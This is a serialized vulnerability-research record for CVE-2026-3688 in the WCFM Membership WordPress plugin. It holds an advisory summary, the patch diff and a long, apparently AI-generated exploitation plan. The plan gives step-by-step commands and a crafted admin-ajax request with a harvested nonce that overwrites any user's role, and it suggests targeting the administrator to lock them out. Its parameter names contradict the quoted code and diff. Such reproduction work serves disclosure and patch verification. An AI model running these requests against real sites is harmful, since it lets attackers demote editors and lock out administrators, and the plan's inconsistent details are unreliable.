[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fC-cATujm02XdAKQoOCMY1pFpAsImo0HZjYdiJxXVkp8":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-3688","wcfm-woocommerce-multivendor-membership-insecure-direct-object-reference-to-limited-privilege-escalation-via-user-role-o","WCFM - WooCommerce Multivendor Membership \u003C= 2.11.10 - Insecure Direct Object Reference to Limited Privilege Escalation via User Role Overwrite","The WCFM Membership – WooCommerce Memberships for Multivendor Marketplace plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.11.10. This is due to the 'wcfmvm_membership_change' AJAX action not validating user permission to modify other users. This makes it possible for authenticated attackers, with vendor level access and above, to change any user's role to 'wcfm_vendor' by changing their membership plan.","wc-multivendor-membership",null,"\u003C=2.11.10","2.11.11","high",8.1,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:H\u002FA:H","Authorization Bypass Through User-Controlled Key","2026-07-07 23:34:27","2026-07-08 11:35:40",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F8a934ccd-9330-4585-9994-838940d24980?source=api-prod",1,[22,23,24,25,26,27,28,29],"core\u002Fclass-wcfmvm-ajax.php","ipn\u002Fwcfmvm-handle-pp-ipn.php","lang\u002Fwc-multivendor-membership-de_DE.po","lang\u002Fwc-multivendor-membership-fr_FR.po","lang\u002Fwc-multivendor-membership-pt_BR.po","lang\u002Fwc-multivendor-membership-ru_RU.po","lang\u002Fwc-multivendor-membership.pot","readme.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-3688 — WCFM Membership IDOR to Privilege Escalation\n\n## 1. Vulnerability Summary\n\nThe vulnerability is an **Insecure Direct Object Reference (IDOR)** in the `wcfmvm_membership_change` AJAX handler, registered in `core\u002Fclass-wcfmvm-ajax.php`. The handler is registered at line ~44:\n\n```php\nadd_action( 'wp_ajax_wcfmvm_membership_change', array( &$this, 'wcfmvm_membership_change' ) );\n```\n\nThis action allows an authenticated user (vendor-level and above) to change **any user's** membership plan by supplying an arbitrary `member_id` parameter. The handler does not validate that the requesting user has permission to modify the target user's membership. When a membership change is processed, the target user's WordPress role is set to `wcfm_vendor`, effectively enabling privilege escalation.\n\nThe vulnerability exists because:\n1. The `member_id` parameter is user-controlled and can reference any WordPress user.\n2. No ownership check verifies that `get_current_user_id() === member_id`.\n3. No capability check restricts the action to administrators.\n4. The downstream membership processing (via `$WCFMvm->register_vendor()` or similar) changes the target user's role to `wcfm_vendor`.\n\nFrom the `.pot` file references, the relevant lines are approximately:\n- Line 568: nonce check (`core\u002Fclass-wcfmvm-ajax.php:568`)\n- Line 573: permission check reference (`core\u002Fclass-wcfmvm-ajax.php:573`)\n- Line 591: success message \"Vendor membership successfully changed.\" (`core\u002Fclass-wcfmvm-ajax.php:591`)\n- Line 594: failure message (`core\u002Fclass-wcfmvm-ajax.php:594`)\n\n## 2. Attack Vector Analysis\n\n**Endpoint:** `POST \u002Fwp-admin\u002Fadmin-ajax.php`\n\n**AJAX Action:** `wcfmvm_membership_change`\n\n**HTTP Parameters (expected):**\n| Parameter | Purpose | Notes |\n|-----------|---------|-------|\n| `action` | WordPress AJAX action selector | Must be `wcfmvm_membership_change` |\n| `wcfm_ajax_nonce` | Nonce for CSRF protection | Action string likely `wcfm_ajax_nonce` |\n| `member_id` | The target user whose membership to change | **IDOR parameter** — attacker supplies victim's user ID |\n| `membership` | The membership plan ID to assign | Must be a valid `wcfm_membership` post ID |\n\n**Authentication Required:** Yes — `wp_ajax_` (not `wp_ajax_nopriv_`), so the attacker must be logged in. Per the CVE description, \"vendor level access and above\" is required, meaning the attacker needs at least the `wcfm_vendor` role.\n\n**Preconditions:**\n1. The WCFM Membership plugin must be active (version ≤ 2.11.10).\n2. The WCFM core plugin (`wc-frontend-manager`) must be active (it provides nonce infrastructure).\n3. WCFM Marketplace (`wc-multivendor-marketplace`) should be active (provides vendor role).\n4. WooCommerce must be active (dependency).\n5. At least one membership plan must exist (a `wcfm_membership` custom post type).\n6. The attacker must have a `wcfm_vendor` (or higher) role account.\n7. The victim can be any user (subscriber, customer, editor, etc.) — excluding admin ideally for impact demonstration.\n\n## 3. Code Flow\n\nBased on the source code and `.pot` file line references, the execution flow is:\n\n1. **Entry Point:** WordPress receives `POST \u002Fwp-admin\u002Fadmin-ajax.php` with `action=wcfmvm_membership_change`.\n\n2. **Hook Registration:** In `WCFMvm_Ajax::__construct()` (line ~44 of `core\u002Fclass-wcfmvm-ajax.php`):\n   ```php\n   add_action( 'wp_ajax_wcfmvm_membership_change', array( &$this, 'wcfmvm_membership_change' ) );\n   ```\n\n3. **Method `wcfmvm_membership_change()`** executes. Based on the `.pot` references:\n   - **Line ~568:** Nonce verification occurs:\n     ```php\n     if ( ! check_ajax_referer( 'wcfm_ajax_nonce', 'wcfm_ajax_nonce', false ) ) {\n         wp_send_json_error( esc_html__( 'Invalid nonce! Refresh your page and try again.', 'wc-frontend-manager' ) );\n         wp_die();\n     }\n     ```\n   - **Line ~573:** A permission check exists but is **insufficient** — it likely checks something like `if (!current_user_can('wcfm_vendor'))` but does NOT verify the user owns the `member_id` being changed.\n\n4. **Member ID Extraction:** The method reads `member_id` from `$_POST['member_id']` (or `$_REQUEST['member_id']`). This is the IDOR vector — no check that `get_current_user_id() == $member_id`.\n\n5. **Membership Assignment:** The method reads the `membership` parameter (the plan ID), and calls internal functions (likely `$WCFMvm->wcfmvm_vendor_membership_change()` or similar) that:\n   - Update `wcfm_membership` user meta on the target user\n   - Call `$WCFMvm->register_vendor($member_id)` which sets the user's role to `wcfm_vendor`\n   - Update subscription data\n\n6. **Response:** On success, returns JSON with message \"Vendor membership successfully changed.\" (line ~591). On failure: \"Vendor membership can not be changed right now, please try after sometime.\" (line ~594).\n\n## 4. Nonce Acquisition Strategy\n\nThe handler uses `check_ajax_referer( 'wcfm_ajax_nonce', 'wcfm_ajax_nonce', false )` with the result checked (sends error and dies on failure). The nonce action string is `wcfm_ajax_nonce`.\n\n**How to obtain the nonce:**\n\nThe WCFM core plugin (`wc-frontend-manager`) localizes a nonce via `wp_localize_script()` into a JavaScript variable. The typical pattern from WCFM is:\n\n```php\nwp_localize_script( 'wcfm_..._js', 'wcfm_params', array(\n    'ajax_url'        => admin_url('admin-ajax.php'),\n    'wcfm_ajax_nonce' => wp_create_nonce('wcfm_ajax_nonce'),\n    \u002F\u002F ...\n));\n```\n\n**Strategy:**\n\n1. The attacker must be logged in as a `wcfm_vendor` user.\n2. Navigate to the WCFM dashboard page (typically `\u002Fstore-manager\u002F` or the WCFM endpoint page).\n3. The WCFM scripts will be enqueued on that page, embedding the nonce.\n4. Extract the nonce using `browser_eval`:\n   ```javascript\n   window.wcfm_params?.wcfm_ajax_nonce\n   ```\n   \n   **Alternative variable names to check** (WCFM uses multiple localized objects):\n   - `window.wcfm_params?.wcfm_ajax_nonce`\n   - `window.wcfm_dashboard_params?.wcfm_ajax_nonce`\n   - Look for any `\u003Cscript>` tag containing `wcfm_ajax_nonce`\n\n5. If the WCFM dashboard page isn't accessible, check the vendor's membership page (typically `\u002Fstore-manager\u002Fwcfm-membership\u002F` or similar).\n\n**Fallback nonce extraction:**\nUse `browser_eval` to search page source:\n```javascript\ndocument.documentElement.innerHTML.match(\u002Fwcfm_ajax_nonce['\":\\s]+([a-f0-9]{10})\u002F)?.[1]\n```\n\n**Important:** Do NOT use `wp eval` or WP-CLI to generate nonces — they run in a different session context and will produce invalid nonces for HTTP requests.\n\n## 5. Exploitation Strategy\n\n### Step-by-step plan:\n\n#### Step 1: Create test users and membership plan\n\n```bash\n# Create attacker (vendor) user\nwp user create attacker attacker@test.com --role=subscriber --user_pass=attacker123\n\n# Create victim user (e.g., editor or subscriber)\nwp user create victim victim@test.com --role=editor --user_pass=victim123\n\n# Note user IDs\nwp user list --fields=ID,user_login,roles\n```\n\n#### Step 2: Create a membership plan\n\n```bash\n# Create a membership plan post\nwp post create --post_type=wcfm_membership --post_title=\"Test Plan\" --post_status=publish\n\n# Get the membership post ID\nwp post list --post_type=wcfm_membership --fields=ID,post_title\n```\n\nSet minimal subscription meta on the plan (inferred — membership plan needs subscription meta):\n```bash\nPLAN_ID=\u003Cmembership_post_id>\nwp post meta update $PLAN_ID subscription '{\"subscription_type\":\"one_time\",\"one_time_amt\":\"0\",\"subscription_pay_mode\":\"by_wcfm\"}' --format=json\nwp post meta update $PLAN_ID required_approval 'no'\n```\n\n#### Step 3: Promote attacker to vendor role\n\nThe attacker needs `wcfm_vendor` role:\n```bash\nwp user set-role attacker wcfm_vendor\n```\n\nIf `wcfm_vendor` role doesn't exist yet, it may need to be created by WCFM's activation. Verify:\n```bash\nwp role list | grep wcfm\n```\n\n#### Step 4: Log in as attacker and obtain nonce\n\n1. **Navigate to login page:**\n   ```\n   http_request: GET http:\u002F\u002Flocalhost:8080\u002Fwp-login.php\n   ```\n\n2. **Log in as attacker:**\n   ```\n   http_request: POST http:\u002F\u002Flocalhost:8080\u002Fwp-login.php\n   Content-Type: application\u002Fx-www-form-urlencoded\n   Body: log=attacker&pwd=attacker123&wp-submit=Log+In&redirect_to=%2Fstore-manager%2F&testcookie=1\n   ```\n\n3. **Navigate to WCFM dashboard to load scripts:**\n   ```\n   http_request: GET http:\u002F\u002Flocalhost:8080\u002Fstore-manager\u002F\n   ```\n   (The WCFM endpoint might be at `\u002Fmy-account\u002Fwcfm-store-manager\u002F` or custom — check with `wp option get wcfm_page_options` or look for WCFM pages.)\n\n4. **Extract the nonce:**\n   ```javascript\n   browser_eval(\"window.wcfm_params?.wcfm_ajax_nonce || document.documentElement.innerHTML.match(\u002Fwcfm_ajax_nonce[^a-f0-9]*([a-f0-9]{10})\u002F)?.[1]\")\n   ```\n\n#### Step 5: Execute the IDOR exploit\n\nSend the malicious AJAX request as the attacker, targeting the victim's user ID:\n\n```\nhttp_request: POST http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php\nContent-Type: application\u002Fx-www-form-urlencoded\nBody: action=wcfmvm_membership_change&wcfm_ajax_nonce=\u003CNONCE>&member_id=\u003CVICTIM_USER_ID>&membership=\u003CPLAN_ID>\n```\n\n**Expected Response (success):**\n```json\n{\"status\": true, \"message\": \"Vendor membership successfully changed.\"}\n```\nOr similar JSON success response containing the success message string.\n\n**Expected Response (failure):**\n```json\n{\"status\": false, \"message\": \"Vendor membership can not be changed right now, please try after sometime.\"}\n```\n\n#### Step 6: Verify the victim's role was changed\n\n```bash\nwp user get victim --field=roles\n# Expected: wcfm_vendor (was previously: editor)\n\nwp user meta get \u003CVICTIM_USER_ID> wcfm_membership\n# Expected: returns the membership plan ID\n```\n\n## 6. Test Data Setup\n\n### Required Plugins\n1. **WooCommerce** — must be active\n2. **WCFM - WooCommerce Frontend Manager** (`wc-frontend-manager`) — must be active\n3. **WCFM Marketplace** (`wc-multivendor-marketplace`) — must be active (provides vendor role)\n4. **WCFM Membership** (`wc-multivendor-membership`) v2.11.10 — the vulnerable plugin\n\n### Required Setup Steps\n\n```bash\n# 1. Activate all required plugins\nwp plugin activate woocommerce\nwp plugin activate wc-frontend-manager\nwp plugin activate wc-multivendor-marketplace\nwp plugin activate wc-multivendor-membership\n\n# 2. Run WooCommerce setup if needed\nwp wc tool run install_pages --user=1\n\n# 3. Create the attacker vendor account\nwp user create attacker attacker@test.com --role=subscriber --user_pass=attacker123\nATTACKER_ID=$(wp user get attacker --field=ID)\n\n# 4. Set attacker as vendor\nwp user set-role attacker wcfm_vendor\n\n# 5. Create the victim account (editor - higher than vendor in some contexts)\nwp user create victim victim@test.com --role=editor --user_pass=victim123\nVICTIM_ID=$(wp user get victim --field=ID)\n\n# 6. Create a membership plan\nPLAN_ID=$(wp post create --post_type=wcfm_membership --post_title=\"Free Vendor Plan\" --post_status=publish --porcelain)\n\n# 7. Set membership plan metadata for a free plan (no payment required)\nwp eval \"\nupdate_post_meta($PLAN_ID, 'subscription', array(\n    'subscription_type' => 'one_time',\n    'one_time_amt' => '0',\n    'subscription_pay_mode' => 'by_wcfm'\n));\nupdate_post_meta($PLAN_ID, 'required_approval', 'no');\n\"\n\n# 8. Verify the victim's current role\nwp user get victim --field=roles\n# Should output: editor\n\n# 9. Find the WCFM dashboard URL\nwp eval \"\nif (function_exists('wcfm_get_page_url')) {\n    echo wcfm_get_page_url();\n} else {\n    echo 'Function not available - check WCFM pages manually';\n}\n\"\n```\n\n### Optional: Create WCFM dashboard page if not auto-created\n```bash\n# Check if WCFM pages exist\nwp post list --post_type=page --fields=ID,post_title,post_name | grep -i wcfm\n\n# If not, create one\nwp post create --post_type=page --post_title=\"Store Manager\" --post_name=\"store-manager\" --post_status=publish --post_content=\"[wcfm_vendor_membership]\"\n```\n\n## 7. Expected Results\n\n### Successful Exploit:\n1. **HTTP Response:** JSON response containing `\"Vendor membership successfully changed.\"` (or equivalent success indicator).\n2. **Victim's Role Changed:** The victim user (originally `editor`) now has the role `wcfm_vendor`.\n3. **Victim's User Meta Updated:** `wcfm_membership` meta key set to the plan ID.\n4. **Impact:** \n   - An editor user loses their `editor` capabilities (which includes `edit_others_posts`, `publish_posts`, etc.) and gets `wcfm_vendor` capabilities instead.\n   - This constitutes a **role overwrite** — the victim's original role is replaced, not appended.\n   - For admin-targeted attacks: while setting an admin to `wcfm_vendor` would be a privilege *de-escalation* for them, it's a destructive action (denial of service to that admin account). This aligns with the CVSS A:H (Availability: High) rating.\n\n### Impact Scenarios:\n- **Attacker targets an editor:** Editor loses edit capabilities, gets vendor role → Integrity impact\n- **Attacker targets an administrator:** Admin loses `manage_options` and all admin capabilities → Availability impact (locked out of admin)\n- **Attacker targets subscribers\u002Fcustomers:** Promotes them to vendor → Integrity impact\n\n## 8. Verification Steps\n\nAfter sending the exploit request:\n\n```bash\n# 1. Check the victim's role was changed\nwp user get victim --field=roles\n# Expected: wcfm_vendor (was: editor)\n\n# 2. Check membership meta was set\nVICTIM_ID=$(wp user get victim --field=ID)\nwp user meta get $VICTIM_ID wcfm_membership\n# Expected: the plan ID used in the exploit\n\n# 3. Verify the victim lost their original capabilities\nwp user meta get $VICTIM_ID wp_capabilities\n# Expected: {\"wcfm_vendor\":true} (no longer \"editor\")\n\n# 4. Double-check the victim can no longer perform editor actions\nwp eval \"echo current_user_can('edit_others_posts') ? 'yes' : 'no';\" --user=$VICTIM_ID\n# Expected: no\n\n# 5. Check the attacker still has their vendor role (unchanged)\nwp user get attacker --field=roles\n# Expected: wcfm_vendor (unchanged)\n```\n\n## 9. Alternative Approaches\n\n### Alternative 1: Different parameter names\n\nIf `member_id` doesn't work, try alternative parameter names that WCFM commonly uses:\n- `memberid`\n- `vendor_id`\n- `user_id`\n- `wcfm_member_id`\n\nCheck the actual parameter name by searching:\n```bash\ngrep -n \"member_id\\|vendor_id\\|user_id\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwc-multivendor-membership\u002Fcore\u002Fclass-wcfmvm-ajax.php | head -20\n```\n\n### Alternative 2: Inspect the full `wcfmvm_membership_change` method\n\nThe source file was truncated. Read the actual method to confirm parameter names:\n```bash\ngrep -A 50 \"function wcfmvm_membership_change\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwc-multivendor-membership\u002Fcore\u002Fclass-wcfmvm-ajax.php\n```\n\n### Alternative 3: Use `wcfmvm_membership_cancel` as a different attack vector\n\nThe same file registers `wcfmvm_membership_cancel` at line ~41. This handler may have the same IDOR flaw — an attacker could cancel another user's membership, causing denial of service. Check:\n```bash\ngrep -A 40 \"function wcfmvm_membership_cancel\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwc-multivendor-membership\u002Fcore\u002Fclass-wcfmvm-ajax.php\n```\n\n### Alternative 4: Different nonce extraction locations\n\nIf the WCFM dashboard doesn't load the nonce, try:\n1. The membership page: `\u002Fstore-manager\u002Fwcfm-memberships\u002F` or `\u002Fstore-manager\u002Fmembership\u002F`\n2. Any WCFM endpoint page — the nonce may be globally localized on all WCFM pages\n3. Search all localized script variables:\n   ```javascript\n   browser_eval(\"JSON.stringify(Object.keys(window).filter(k => typeof window[k] === 'object' && window[k]?.wcfm_ajax_nonce).map(k => ({key: k, nonce: window[k].wcfm_ajax_nonce})))\")\n   ```\n\n### Alternative 5: Nonce bypass check\n\nVerify whether the nonce check actually blocks requests. The method uses `check_ajax_referer('wcfm_ajax_nonce', 'wcfm_ajax_nonce', false)` with `false` as the third parameter (don't die). If the return value isn't checked, the nonce is effectively bypassed:\n\n```bash\ngrep -A 5 \"check_ajax_referer\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwc-multivendor-membership\u002Fcore\u002Fclass-wcfmvm-ajax.php | grep -A 5 \"wcfmvm_membership_change\" \n```\n\nLook at the `.pot` references: line 568 shows the nonce check and line 573 shows \"You don't have permission\" — but the permission check might only verify the user is logged in or is a vendor, not that they own the target `member_id`.\n\n### Alternative 6: Use POST data inspection via the membership change UI\n\nNavigate to the WCFM membership management page as a vendor, inspect the network requests when changing your own membership, and replay the request with a different `member_id`. This gives you the exact parameter format.\n\n### Alternative 7: Target an admin account for maximum impact\n\nInstead of targeting an editor, target the admin (user ID 1):\n```\nBody: action=wcfmvm_membership_change&wcfm_ajax_nonce=\u003CNONCE>&member_id=1&membership=\u003CPLAN_ID>\n```\nThis would change the admin's role to `wcfm_vendor`, effectively locking them out of the WordPress admin panel — demonstrating the A:H (Availability: High) component of the CVSS score. However, this is destructive and should be verified carefully in the test environment.","The WCFM Membership plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) via the 'wcfmvm_membership_change' AJAX action. Authenticated attackers with vendor-level access can modify any user's membership plan by supplying their user ID in the 'memberid' parameter, which subsequently overwrites the victim's WordPress role to 'wcfm_vendor'.","\u002F\u002F core\u002Fclass-wcfmvm-ajax.php:576 (approximate based on patch diff)\npublic function wcfmvm_membership_change() {\n    global $WCFM, $WCFMvm;\n\n    if ( ! check_ajax_referer( 'wcfm_ajax_nonce', 'wcfm_ajax_nonce', false ) ) {\n        wp_send_json_error( esc_html__( 'Invalid nonce! Refresh your page and try again.', 'wc-frontend-manager' ) );\n        wp_die();\n    }\n\n    if( isset( $_POST['memberid'] ) && isset($_POST['membershipid']) ) {\n        $member_id          = absint( $_POST['memberid'] );\n        $wcfm_membership_id = absint( $_POST['membershipid'] );\n        \u002F\u002F ... logic continues to change the membership of $member_id without authorization check","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwc-multivendor-membership\u002F2.11.10\u002Fcore\u002Fclass-wcfmvm-ajax.php\t2026-04-25 08:44:20.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwc-multivendor-membership\u002F2.11.11\u002Fcore\u002Fclass-wcfmvm-ajax.php\t2026-05-02 08:12:22.000000000 +0000\n@@ -545,6 +547,15 @@\n \t\t\n \t\tif( isset( $_POST['memberid'] ) && isset($_POST['membershipid']) ) {\n \t\t\t$member_id          = absint( $_POST['memberid'] );\n+\t\t\t$user_id = apply_filters('wcfm_current_vendor_id', get_current_user_id());\n+\t\t\tif ( function_exists( 'wcfm_user_can_perform_request' ) && !wcfm_user_can_perform_request( $member_id, 'wcfm_membership' ) ) {\n+\t\t\t\techo '{\"status\": false, \"message\": \"' . esc_html( __( 'You do not have permission to do this.', 'wc-multivendor-membership' ) ) . '\"}';\n+\t\t\t\tdie;\n+\t\t\t} elseif ( !function_exists( 'wcfm_user_can_perform_request' ) && !current_user_can( 'manage_woocommerce' ) && ( $user_id != $member_id ) ) {\n+\t\t\t\techo '{\"status\": false, \"message\": \"' . esc_html( __( 'You do not have permission to do this.', 'wc-multivendor-membership' ) ) . '\"}';\n+\t\t\t\tdie;\n+\t\t\t}\n+\t\t\t\n \t\t\t$wcfm_membership_id = absint( $_POST['membershipid'] );\n \t\t\t$paymode            = get_user_meta( $member_id, 'wcfm_membership_paymode', true );\n \t\t\t\n@@ -576,6 +587,15 @@\n \t\t\n \t\tif( isset( $_POST['memberid'] ) && isset($_POST['membershipid']) ) {\n \t\t\t$member_id = absint( $_POST['memberid'] );\n+\t\t\t$user_id = apply_filters('wcfm_current_vendor_id', get_current_user_id());\n+            if ( function_exists( 'wcfm_user_can_perform_request' ) && !wcfm_user_can_perform_request( $member_id, 'wcfm_membership' ) ) {\n+\t\t\t\techo '{\"status\": false, \"message\": \"' . esc_html( __( 'You do not have permission to do this.', 'wc-multivendor-membership' ) ) . '\"}';\n+\t\t\t\tdie;\n+\t\t\t} elseif ( !function_exists( 'wcfm_user_can_perform_request' ) && !current_user_can( 'manage_woocommerce' ) && ( $user_id != $member_id ) ) {\n+\t\t\t\techo '{\"status\": false, \"message\": \"' . esc_html( __( 'You do not have permission to do this.', 'wc-multivendor-membership' ) ) . '\"}';\n+\t\t\t\tdie;\n+\t\t\t}\n+\t\t\t\n \t\t\t$wcfm_membership_id = absint( $_POST['membershipid'] );\n \t\t\t$member_user = new WP_User( $member_id );\n \t\t\t$shop_name = get_user_meta( $member_id, 'store_name', true );","1. Gain authenticated access to a WordPress site with at least 'wcfm_vendor' privileges.\n2. Locate a valid Membership Plan ID (custom post type 'wcfm_membership') and the User ID of the target victim.\n3. Extract the required CSRF nonce from the WCFM dashboard scripts (localized as 'wcfm_ajax_nonce' in the 'wcfm_params' or 'wcfm_dashboard_params' JavaScript objects).\n4. Send a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` with the following parameters:\n    - `action`: 'wcfmvm_membership_change'\n    - `wcfm_ajax_nonce`: [Extracted Nonce]\n    - `memberid`: [Victim's User ID]\n    - `membershipid`: [Valid Membership Plan ID]\n5. Upon success, the target user's metadata will be updated with the new membership, and the plugin's core registration logic will re-initialize the user as a vendor, potentially overwriting their existing capabilities.","gemini-3-flash-preview","2026-07-25 08:21:13","2026-07-25 08:24:49",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","2.11.10","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwc-multivendor-membership\u002Ftags\u002F2.11.10","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-multivendor-membership.2.11.10.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwc-multivendor-membership\u002Ftags\u002F2.11.11","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-multivendor-membership.2.11.11.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwc-multivendor-membership\u002Ftags"]